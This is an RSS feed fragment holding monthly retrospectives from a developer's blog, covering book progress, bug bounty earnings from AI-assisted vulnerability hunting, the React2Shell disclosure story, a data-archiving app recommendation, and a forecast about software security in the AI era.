&lt;li>I&amp;rsquo;ve submitted 40ish reports.&lt;/li>
&lt;li>Eight were paid after two weeks for a total of $9,700.&lt;/li>
&lt;li>Two were rejected as duplicates.&lt;/li>
&lt;li>The remaining are all awaiting triage, though the most valuable ones were in the first eight that have received payouts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Vendor 5: Firedancer (crypto project)
&lt;ul>
&lt;li>Found a few medium-severity issues.&lt;/li>
&lt;li>When I started the bounty reporting process, I realized that they require researchers to upload their passport to a service I&amp;rsquo;ve never heard of, so I stopped there.&lt;/li>
&lt;li>Their program rules are also sketchy in that they seem to contradict the rules of the bounty platform they&amp;rsquo;re using.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>So, the $10k from vendor 4 only took two weeks of part-time work. That would be a great return on investment had I not also spent 6+ weeks on bounty programs that paid nothing. It would also be great if I could find more vendors like vendor 4, but I don&amp;rsquo;t know how to do that.&lt;/p>
&lt;h2 id="should-i-focus-on-the-book-or-bug-bounties">Should I focus on the book or bug bounties?&lt;/h2>
&lt;p>I&amp;rsquo;m now torn on how to allocate my time between the book and bug bounties. Here&amp;rsquo;s my thinking:&lt;/p>
&lt;ul>
&lt;li>Focus on my book
&lt;ul>
&lt;li>&lt;strong>Pro&lt;/strong>: The book is nearly done, so if I focus on finishing, it will be complete and more valuable than a partially-finished book.&lt;/li>
&lt;li>&lt;strong>Pro&lt;/strong>: The book is something only I can create, whereas lots of people can participate in bug bounties.&lt;/li>
&lt;li>&lt;strong>Pro&lt;/strong>: I&amp;rsquo;m already late on delivering the book, so finishing it makes me feel less guilty about making readers wait.&lt;/li>
&lt;li>&lt;strong>Pro&lt;/strong>: I can talk publicly about my book, and not only does it help me think out loud, it helps new readers discover the book.&lt;/li>
&lt;li>&lt;strong>Con&lt;/strong>: The expected value of the book feels lower than bounty hunting, at least in the short-term. In theory, I could find a $100k bug next week, whereas it&amp;rsquo;s unlikely I could do anything that would drive $100k in book sales by next week.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Focus on bug bounties
&lt;ul>
&lt;li>&lt;strong>Pro&lt;/strong>: I made more in two weeks of bug bounties than I did in all of 2025 on my book.&lt;/li>
&lt;li>&lt;strong>Pro&lt;/strong>: There&amp;rsquo;s still a massive amount of undiscovered, bounty-paying bugs that AI tools can find.&lt;/li>
&lt;li>&lt;strong>Pro&lt;/strong>: If I pause for a few months, the value of the remaining bugs will be significantly lower, as many other researchers will have claimed the easy-to-find bugs.&lt;/li>
&lt;li>&lt;strong>Con&lt;/strong>: Participating in bug bounties is frustrating, as you have no leverage. The vendor can completely lowball or shaft you, and you have no recourse or negotiating power unless you sell the exploit to buyers who want to use it for nefarious purposes.&lt;/li>
&lt;li>&lt;strong>Con&lt;/strong>: Bug bounty hunting is addictive like gambling in that there are &lt;a href="https://mtlynch.io/retrospectives/2026/03/#ai-coding-offers-variable-rewards">variable rewards&lt;/a> that appear semi-randomly.&lt;/li>
&lt;li>&lt;strong>Con&lt;/strong>: Bug bounties push me back into &lt;a href="https://mtlynch.io/retrospectives/2026/03/#ai-assisted-coding-is-becoming-a-problem-for-me">bad AI usage habits&lt;/a>. If I have an AI agent searching for bugs in the background, I constantly want to check on its progress and redirect it based on early results.&lt;/li>
&lt;li>&lt;strong>Con&lt;/strong>: I&amp;rsquo;m much more limited in what I can share publicly about my work, both because bounty programs often require it and because I don&amp;rsquo;t want to attract competition to the same places where I&amp;rsquo;m focusing effort.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Rationally, I have a hard time justifying why I should continue chasing bug bounties, but I do want to keep at it a little bit, maybe like a 70/30 split between the book and bug bounties.&lt;/p>
&lt;h2 id="maybe-i-should-be-teaching-ai-for-improving-software-security">Maybe I should be teaching AI for improving software security&lt;/h2>
&lt;p>A third possibility is that instead of chasing bug bounties, I teach people what I&amp;rsquo;ve learned in the last few months about using AI to find security vulnerabilities.&lt;/p>
&lt;p>I&amp;rsquo;m thinking about offering a small, cohort-based course where we find bugs in open-source projects. We&amp;rsquo;ll pick projects with no bug bounty attached so that students can internally share findings without worrying about someone running off with their reward. The format will be some combination of live or recorded screencasts + a private group chat for 2-4 weeks.&lt;/p>
&lt;p>The course is not going to be about making money from bug bounties. Maybe I&amp;rsquo;ll cover that some, but that won&amp;rsquo;t be the focus because that&amp;rsquo;s not what I&amp;rsquo;ve learned most about in the last three months.&lt;/p>
&lt;p>The course will be about using AI to find security vulnerabilities in large codebases. I&amp;rsquo;ll show the techniques I&amp;rsquo;ve learned for getting AI tools to focus on likely areas of bugs and avoid wasting time and tokens on bad leads. You can apply these lessons internally with your own closed-source code or on open-source projects you want to help secure.&lt;/p>
&lt;p>If you&amp;rsquo;re interested, sign up for my interest list below:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://tally.so/r/jaGvQR">Early interest list - Using AI to find security vulnerabilities&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="recommendations">Recommendations&lt;/h2>
&lt;h3 id="timelinize-lets-you-reclaim-your-data-from-social-media">&lt;a href="https://timelinize.com/">Timelinize&lt;/a> lets you reclaim your data from social media&lt;/h3>
&lt;p>A few weeks ago, I saw &lt;a href="https://www.reddit.com/r/DataHoarder/comments/1ssq0xv/i_want_to_delete_my_facebook_but_i_dont_want_to/">a question on reddit&lt;/a> from someone who wanted to delete their Facebook account but capture an archive of their data in a usable format. That reminded me of a project I&amp;rsquo;d seen on Hacker News but never explored much called &lt;a href="https://timelinize.com/">Timelinize&lt;/a>.&lt;/p>
&lt;p>Timelinize lets you import data you exported from Facebook, Google, Twitter, and similar services, and the app creates a unified timeline to explore your data. The creator is &lt;a href="https://matt.life/">Matt Holt&lt;/a>, who also created &lt;a href="https://caddyserver.com/">Caddy&lt;/a>, the popular reverse web proxy.&lt;/p>
&lt;p>Timelinize still feels pretty alpha-stage, and I had to add a bunch of local patches to make it usable, but I like where it&amp;rsquo;s going. I plan to upstream &lt;a href="https://github.com/timelinize/timelinize/commits?author=mtlynch">more of my patches&lt;/a> as I use it more.&lt;/p>
&lt;p>Whenever I find a local, offline solution for something that previously required a cloud service, it feels oddly refreshing. When I switched from streaming services to &lt;a href="https://jellyfin.org/">Jellyfin&lt;/a>, I was surprised at how different it felt to just watch what I&amp;rsquo;m watching without a company watching me back for ways to squeeze money from me.&lt;/p>
&lt;p>The weird thing was, when I watched Netflix or HBO, I never consciously thought, &amp;ldquo;Oh no! I&amp;rsquo;m being monitored.&amp;rdquo; But when I started exclusively watching TV and movies locally, it was as if I spent so much time in an office cubicle that I forgot that there&amp;rsquo;s an outside at all. Then, I went outside and enjoyed fresh air and sunshine. Metaphorically, I mean. Literally, I was still sitting inside watching TV on my computer. But it was so much faster and freer than before!&lt;/p>
&lt;p>I had a similar &amp;ldquo;breathing fresh air&amp;rdquo; experience with Timelinize. Timelinize&amp;rsquo;s interface is user-oriented, which makes me realize just how user-hostile the interface is on cloud platforms. Facebook and Twitter don&amp;rsquo;t want you to just scroll through your old messages because that doesn&amp;rsquo;t make money for them. To discourage you from reading your old messages, they make the experience subtly uncomfortable: they squeeze the conversation into a tiny box, they force you to stop and wait for new messages to load every few seconds, and they constantly show you distracting notifications to lead you back to the new content they can monetize.&lt;/p>
&lt;p>With Timelinize, the reading experience is designed to let me just read my archive. There&amp;rsquo;s nothing trying to steal my focus and check out what&amp;rsquo;s new because Timelinize shows a historical snapshot. I find it fun to jump to a date 10 years ago and read what my conversations were at the time.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2026/05/timelinize.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2026/05/timelinize_hu_d3048ceaf6f13ded.webp 300w, https://mtlynch.io/retrospectives/2026/05/timelinize_hu_b33fc28a87d8d2bf.webp 600w, https://mtlynch.io/retrospectives/2026/05/timelinize_hu_29c4d5181cfd0d17.webp 800w, https://mtlynch.io/retrospectives/2026/05/timelinize_hu_b8aab40d29c03ee7.webp 1200w, https://mtlynch.io/retrospectives/2026/05/timelinize.webp 1920w'
 src="https://mtlynch.io/retrospectives/2026/05/timelinize.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The Timelinize interface lets you read your conversations without trying to steal your focus with notifications.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="the-react2shell-story-and-what-happened-nextjs">The React2Shell Story and What Happened Next.js&lt;/h3>
&lt;p>I didn&amp;rsquo;t follow &lt;a href="https://react2shell.com/">React2Shell&lt;/a> at the time, but it was a critical vulnerability in React.js that allowed an attacker to gain code execution on many React.js and Next.js apps.&lt;/p>
&lt;p>Last week, the two researchers who discovered React2Shell wrote about what happened behind the scenes:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://lachlan.nz/blog/the-react2shell-story">&amp;ldquo;The React2Shell Story&amp;rdquo;&lt;/a> by Lachlan Davidson, the lead researcher on finding the vulnerability.&lt;/li>
&lt;li>&lt;a href="https://sylvie.fyi/posts/react2shell/">&amp;ldquo;The React2Shell Story and What Happened Next.js&amp;rdquo;&lt;/a> by Sylvie Mayer, who assisted Lachlan in exploring the vulnerability, notifying vendors, and identifying bug bounty programs that would pay for the vulnerability.&lt;/li>
&lt;/ul>
&lt;p>Lachlan&amp;rsquo;s post got more attention, but I found Sylvie&amp;rsquo;s more interesting, especially given that she was a 20-year-old college student at the time.&lt;/p>
&lt;p>Lachlan and Sylvie both realized they&amp;rsquo;d found a &amp;ldquo;nuclear bomb&amp;rdquo; that affected hundreds or thousands of major websites. After reporting the bug to Meta (who maintains React) and Vercel (who maintains Next.js), they wanted to identify other bug bounty programs that would pay them for their work on this massive bug.&lt;/p>
&lt;p>The researchers couldn&amp;rsquo;t disclose the bug to the other vendors until Meta publicly announced the security advisory. The problem was that once React2Shell was public, Lachlan and Sylvie would lose their edge over everyone else rushing to claim the same bounties.&lt;/p>
&lt;p>To get a head start, Sylvie scouted bug bounty programs during the bug blackout period and checked whether those vendors&amp;rsquo; sites were vulnerable to React2Shell. That way, as soon as Meta announced the vulnerability, Sylvie and Lachlan could claim these third-party bounties.&lt;/p>
&lt;p>The problem was that before React2Shell became public, Vercel created a filter for the bug in their web application firewall (WAF) that would protect Vercel customers even if the customer sites were running vulnerable versions of React or Next.js. Meta and Vercel also worked with Cloudflare and similar WAF platforms to teach them how to filter React2Shell attacks.&lt;/p>
&lt;p>So, after Meta announced React2Shell, Sylvie tried reproducing the bug against the sites she scouted ahead of time, but the bug didn&amp;rsquo;t trigger. Almost all of the sites with bug bounties were on Cloudflare or Vercel, so the WAFs blocked Sylvie&amp;rsquo;s exploit.&lt;/p>
&lt;p>So, now Lachlan and Sylvie had to figure out how to sneak their exploit past Cloudflare&amp;rsquo;s and Vercel&amp;rsquo;s WAFs to trigger React2Shell, but bypassing enterprise WAFs is a massive research project in itself. Fortunately, Sylvie found a bypass in Cloudflare&amp;rsquo;s WAF and five distinct bypasses in Vercel&amp;rsquo;s.&lt;/p>
&lt;p>Interestingly, the &amp;ldquo;vast majority&amp;rdquo; of what Sylvie earned came not from React2Shell itself but for the WAF bypasses, as Vercel paid $50k per reported bypass.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published new chapters: &amp;ldquo;Improve Your Writing with AI&amp;rdquo; and &amp;ldquo;Meet the Reader Where They Are&amp;rdquo;&lt;/li>
&lt;li>Held a live session with readers about using AI to improve writing&lt;/li>
&lt;li>Reported a bunch of security bugs through bug bounty programs&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>It&amp;rsquo;s better for me long-term to focus on my book than on security bug bounties.
&lt;ul>
&lt;li>The hard part is that bug bounties are so short-term rewarding, whereas the rewards for the book typically lag my investments by at least a month.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It&amp;rsquo;s unexpectedly satisfying to migrate from a cloud service to something you run locally.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Get &lt;em>Refactoring English&lt;/em> to &amp;ldquo;content complete.&amp;rdquo;&lt;/li>
&lt;li>Create a tool that allows &lt;em>Refactoring English&lt;/em> readers to give feedback as they read the book.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;p>If you&amp;rsquo;re interested in learning about using AI to find security vulnerabilities in your team&amp;rsquo;s code, sign up for my interest list. If there&amp;rsquo;s enough interest, I&amp;rsquo;ll put together a course.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://tally.so/r/jaGvQR">Early interest list - Using AI to find security vulnerabilities&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>Refactoring English: Month 16</title><link>https://mtlynch.io/retrospectives/2026/04/</link><pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2026/04/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I got to &lt;a href="https://news.ycombinator.com/item?id=47633855">the front page of Hacker News&lt;/a> with &lt;a href="https://mtlynch.io/claude-code-found-linux-vulnerability/">an article&lt;/a> that I wrote in one sitting.&lt;/li>
&lt;li>I expect the next few years to be scary for software security.&lt;/li>
&lt;li>I&amp;rsquo;ve completed the first milestone of my family photo sharing app.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I got to &lt;a href="https://news.ycombinator.com/item?id=47633855">the front page of Hacker News&lt;/a> with &lt;a href="https://mtlynch.io/claude-code-found-linux-vulnerability/">an article&lt;/a> that I wrote in one sitting.&lt;/li>
&lt;li>I expect the next few years to be scary for software security.&lt;/li>
&lt;li>I&amp;rsquo;ve completed the first milestone of my family photo sharing app.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="finish-refactoring-english">Finish &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published a new chapter but still am not done&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I knew it was an ambitious goal to complete the last three chapters in a single month, but I thought it was doable. I only finished one of the three, but the book is nearly complete.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;,&amp;#34;Sep 2025&amp;#34;,&amp;#34;Oct 2025&amp;#34;,&amp;#34;Nov 2025&amp;#34;,&amp;#34;Dec 2025&amp;#34;,&amp;#34;Jan 2026&amp;#34;,&amp;#34;Feb 2026&amp;#34;,&amp;#34;Mar 2026&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863,7283,22398,7608,2266,38511,7788,6932]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88,962.56,619,1066.73,540.8,1132.75,886.2,725.8]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>February 2026&lt;/th>
 &lt;th>March 2026&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>7,788&lt;/td>
 &lt;td>6,932&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-856 (-11%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$886.20&lt;/td>
 &lt;td>$725.80&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$160.40 (-18%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$886.20&lt;/td>
 &lt;td>$725.80&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$160.40 (-18%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>Visits and sales are down slightly this month, but I&amp;rsquo;m glad to see that there&amp;rsquo;s still a steady flow of readers and customers even when I don&amp;rsquo;t have a successful promotion.&lt;/p>
&lt;p>My only promotion this month was an article called &lt;a href="https://refactoringenglish.com/blog/ai-vs-human-design-doc/">&amp;ldquo;Which Design Doc Did a Human Write?&amp;rdquo;&lt;/a>. It did well &lt;a href="https://lobste.rs/s/yeoe5q/which_design_doc_did_human_write">on Lobsters&lt;/a> but &lt;a href="https://news.ycombinator.com/item?id=47521257">flopped on Hacker News&lt;/a>. The /r/programming subreddit rejected it for being &amp;ldquo;AI-generated,&amp;rdquo; even after I messaged the mods clarifying that the article itself was human-written.&lt;/p>
&lt;p>I got the idea for the post from the last &lt;em>Refactoring English&lt;/em> live class. We discussed whether AI is good enough to write design docs, and I realized how easy it would be to generate alternate AI versions of the design doc I&amp;rsquo;d just written by hand. It was interesting reading people&amp;rsquo;s guesses about the &amp;ldquo;tells&amp;rdquo; they identified in the different design docs about what revealed them as human vs. AI.&lt;/p>
&lt;h2 id="spotting-an-opportunity-to-pull-a-simon-willison">Spotting an opportunity to pull a Simon Willison&lt;/h2>
&lt;p>Simon Willison has been the most popular blogger on Hacker News for the last three years. I &lt;a href="https://refactoringenglish.com/blog/2025-hn-top-5/">recently wrote about&lt;/a> Willison&amp;rsquo;s underused yet effective strategy for blogging:&lt;/p>
&lt;blockquote>
&lt;p>Simon often finds ideas within walled-garden platforms (e.g., TikTok, Twitter) and simply brings them to the open web, where it&amp;rsquo;s easier for HN to discuss. Some of his most popular posts were just short quotes or links with a bit of commentary. &lt;a href="https://news.ycombinator.com/item?id=45820872">&amp;ldquo;I’m worried that they put co-pilot in Excel&amp;rdquo;&lt;/a> is just a quote from a video he watched on TikTok. &lt;a href="https://news.ycombinator.com/item?id=42923870">&amp;ldquo;A computer can never be held accountable&amp;rdquo;&lt;/a> is Simon summarizing a few tweets.&lt;/p>&lt;/blockquote>
&lt;p>Simon has &lt;a href="https://simonwillison.net/2024/Dec/22/link-blog/">called this approach&lt;/a>, &amp;ldquo;a low effort, high value way to contribute to internet life at large,&amp;rdquo; and I agree.&lt;/p>
&lt;p>The only hard part of Willison&amp;rsquo;s strategy is recognizing when to use it. If you just summarize tweets and TikToks at random, you probably won&amp;rsquo;t gain much traction. You have to notice when some interesting information is trapped in a Web-hostile format and then port it to the web while it&amp;rsquo;s still fresh.&lt;/p>
&lt;p>Last week, I watched Nicholas Carlini&amp;rsquo;s &lt;a href="https://www.youtube.com/watch?v=1sd26pWhfmg">&amp;ldquo;Black Hat LLMs&amp;rdquo; talk&lt;/a> and realized there was an opportunity to use Willison&amp;rsquo;s technique.&lt;/p>
&lt;p>In the talk, Carlini described how he found a remotely-exploitable vulnerability in the Linux kernel that nobody had noticed for 23 years. The surprising part was that anyone could have done what Carlini did. He just pointed Claude Code at each file in the Linux kernel source and asked it to find vulnerabilities.&lt;/p>
&lt;p>I looked online for discussion of Carlini&amp;rsquo;s discovery and was surprised to find nobody talking about it. It was published on YouTube and &lt;a href="https://news.ycombinator.com/item?id=47581390">mentioned in a Hacker News thread&lt;/a>, but it seemed to be getting far less attention than it deserved. People were making a big deal out of Claude Code &lt;a href="https://news.ycombinator.com/item?id=47597119">writing an exploit for a FreeBSD bug&lt;/a>, but this felt like bigger news.&lt;/p>
&lt;p>It turned out I was right.&lt;/p>
&lt;p>I wrote &lt;a href="https://mtlynch.io/claude-code-found-linux-vulnerability/">the article&lt;/a> in one three-hour sitting, much faster than my usual process of 10-30 hours over several weeks. The article has attracted 41k unique readers so far. It did well on &lt;a href="https://news.ycombinator.com/item?id=47633855">Hacker News&lt;/a> and &lt;a href="https://lobste.rs/s/lh9rmv/claude_code_found_linux_vulnerability">Lobsters&lt;/a>. Despite me not even posting it to Twitter, almost half the readers found my article via Twitter.&lt;/p>
&lt;p>In the past, when articles become popular on my personal blog, many of the readers dug deeper and discovered &lt;em>Refactoring English&lt;/em>. That didn&amp;rsquo;t happen this time, I guess because readers interested in AI are less interested in a book about writing without AI.&lt;/p>
&lt;h2 id="software-security-will-be-rough-for-the-next-couple-of-years">Software security will be rough for the next couple of years&lt;/h2>
&lt;p>Carlini&amp;rsquo;s talk highlights something I&amp;rsquo;ve been thinking about for several months: the next few years will be pretty bad for cybersecurity.&lt;/p>
&lt;p>It used to be that the average person had &lt;em>some&lt;/em> protection from cyberattacks because there&amp;rsquo;s a high cost to finding security vulnerabilities.&lt;/p>
&lt;p>For example, imagine six months ago that you wanted to hack users who run &lt;a href="https://syncthing.net/">Syncthing&lt;/a>, the open-source file syncing tool. Unless you&amp;rsquo;re a software security expert, you&amp;rsquo;d have to hire someone who is:&lt;/p>
&lt;ul>
&lt;li>Good at finding vulnerabilities&lt;/li>
&lt;li>Comfortable being paid to weaponize them&lt;/li>
&lt;li>Willing to work with a stranger&lt;/li>
&lt;/ul>
&lt;p>Let&amp;rsquo;s say, you find someone willing to find and exploit a Syncthing vulnerability for $5k. That&amp;rsquo;s still a lot of work and money. And that&amp;rsquo;s assuming the person you hire is genuine and not just scamming people.&lt;/p>
&lt;p>And even if you go through all that trouble, you risk &amp;ldquo;burning&amp;rdquo; the exploit every time you use it. If someone notices that their system is compromised and traces it back to Syncthing, they might be able to identify your exploit and report the bug, rendering your exploit worthless.&lt;/p>
&lt;p>Compare that to the situation today. You can buy a Claude Code subscription for $100/mo and find critical vulnerabilities just like Carlini did. Claude Code&amp;rsquo;s guardrails cause it to refuse requests that weaponize vulnerabilities, but it won&amp;rsquo;t be long before you can secretly develop exploits with open-weight models without any AI vendor telling you that you can&amp;rsquo;t.&lt;/p>
&lt;p>So, the cost of developing exploits has drastically dropped, but the value of fixing them is the same or lower. There are so many AI-generated bug reports that vendors are &lt;a href="https://nodejs.org/en/blog/announcements/discontinuing-security-bug-bounties">shutting down their bug bounty programs&lt;/a>, eliminating any financial payout to honest researchers.&lt;/p>
&lt;p>What Carlini did is not a fluke. I replicated it to find an undiscovered remote code execution vulnerability in a popular codebase without much effort. I could likely find many more, but the financial value to me is negative because the project has no bug bounty, so I&amp;rsquo;m spending hours to coordinate a fix with the vendor for $0.&lt;/p>
&lt;p>There isn&amp;rsquo;t some greedy billion dollar company refusing to pay me for vulnerabilities I found. The maintainer is just some guy who works on the project out of the goodness of his heart. It&amp;rsquo;s basically &lt;a href="https://xkcd.com/2347/">the &amp;ldquo;Dependency&amp;rdquo; xkcd&lt;/a>. He doesn&amp;rsquo;t have any money to pay for vulnerability reports because he&amp;rsquo;s not getting paid either, though billion-dollar companies are certainly using his code:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2026/04/dependency_2x.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2026/04/dependency_2x_hu_4fb137025937153d.png 300w, https://mtlynch.io/retrospectives/2026/04/dependency_2x_hu_5b8400b26099d98.png 600w, https://mtlynch.io/retrospectives/2026/04/dependency_2x.png 770w'
 src="https://mtlynch.io/retrospectives/2026/04/dependency_2x.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>xkcd #2347, &lt;a href="https://xkcd.com/2347/">“Dependency”&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Eventually, we&amp;rsquo;ll get back to an equilibrium where AI security tools are as cheap and convenient as static analysis tools are today. Vendors will use AI to catch security issues before they hit production.&lt;/p>
&lt;p>In the short run, there are a lot of vulnerabilities that suddenly became low-hanging fruit; there&amp;rsquo;s value for attackers to exploit them and not much value for honest researchers to fix them.&lt;/p>
&lt;h2 id="reaching-the-first-little-moments-milestone">Reaching the first Little Moments milestone&lt;/h2>
&lt;p>Back in December, I announced that I was creating a free, open-source app for sharing baby photos because I &lt;a href="https://mtlynch.io/retrospectives/2025/12/#building-a-free-tinybeans-alternative-out-of-spite">hated the existing options&lt;/a>.&lt;/p>
&lt;p>I expected the app to be something I could easily vibe code, but then I realized it was a good opportunity to practice writing a design doc. I&amp;rsquo;ve been writing about &lt;a href="https://refactoringenglish.com/chapters/useful-feedback-on-design-docs/">the design doc process&lt;/a> for &lt;em>Refactoring English&lt;/em>, but I haven&amp;rsquo;t written a real, full-length design doc in almost a decade.&lt;/p>
&lt;p>It was hard for me to write a design doc when &lt;a href="https://mtlynch.io/retrospectives/2026/03/#ai-assisted-coding-is-becoming-a-problem-for-me">vibe coding is so much more satisfying in the short term&lt;/a>. That&amp;rsquo;s why it&amp;rsquo;s taken me since December, but I finally focused and wrote the design doc for my app, Little Moments. Once the design doc was done, the rest was easy.&lt;/p>
&lt;p>Currently, you can import data that you &lt;a href="https://codeberg.org/mtlynch/tinybeans-export">exported from TinyBeans&lt;/a> and render it locally. I don&amp;rsquo;t want to show actual private family photos, so I created dummy data for testing:&lt;/p>




&lt;figure class="video" style="max-width: 600px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="little-moments-m1.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;/div>
&lt;/figure>

&lt;p>I find even this minimal implementation so exciting and can&amp;rsquo;t wait to finish.&lt;/p>
